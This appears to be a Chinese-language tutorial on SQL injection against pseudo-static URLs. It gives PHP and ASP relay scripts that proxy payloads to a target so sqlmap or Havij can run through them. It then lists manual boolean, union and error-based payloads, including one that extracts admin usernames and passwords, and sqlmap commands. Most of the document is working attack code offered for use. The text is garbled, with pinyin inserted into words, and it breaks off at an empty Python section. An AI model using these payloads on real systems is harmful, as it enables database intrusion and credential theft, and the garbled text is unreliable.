本文實(shí)例講述了PHP針對偽靜態(tài)的注入。分享給大家供大家參考，具體如下：
一：中轉(zhuǎn)注入法
1.通過http://www.xxx.com/news.php?id=1做了偽靜態(tài)之后就成這樣了
http://www.xxx.com/news.php/id/1.html
2.測試步驟：
中轉(zhuǎn)注入的php代碼:inject.php
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
3.本地環(huán)境搭建PHP，然后訪問http://127.0.0.1/inject.php?id=1
通過sqlmap或者h(yuǎn)avj可以跑注入漏洞。
附錄ASP中轉(zhuǎn)代碼：
<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/" //實(shí)際上要請求的網(wǎng)址
JMUrl=JMUrl & JmStr&".html" //拼接url
response.write JMUrl&JmStr //我這里故意輸出url來看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20")
JmStr=URLEncoding(JmStr)
response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串，cookie，referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn) //處理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin) //發(fā)包前對參數(shù)的url編碼一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加轉(zhuǎn)換搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '轉(zhuǎn)換空格,如果網(wǎng)站過濾了空格,嘗試用/**/來代替%20
'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加轉(zhuǎn)換+字符
vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要過濾的代碼 //這里很關(guān)鍵，方便啊，把空格自動(dòng)換成/**/，后面會(huì)說到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>
二、手工注入法
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2.測試注入：
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯(cuò)
3.看頁面是否存在差異，相同則不存在，不同存在注入。
4.聯(lián)合查詢：
http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
手工注入法（二）
http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
注：
偽靜態(tài)的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用；但是偽靜態(tài)不行，會(huì)被直接傳遞到到url中，所以用/**/這個(gè)注釋符號(hào)表示空格。
三、SQLmap方法
在sqlmap中偽靜態(tài)哪兒存在注入點(diǎn)就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”
四、python腳本方法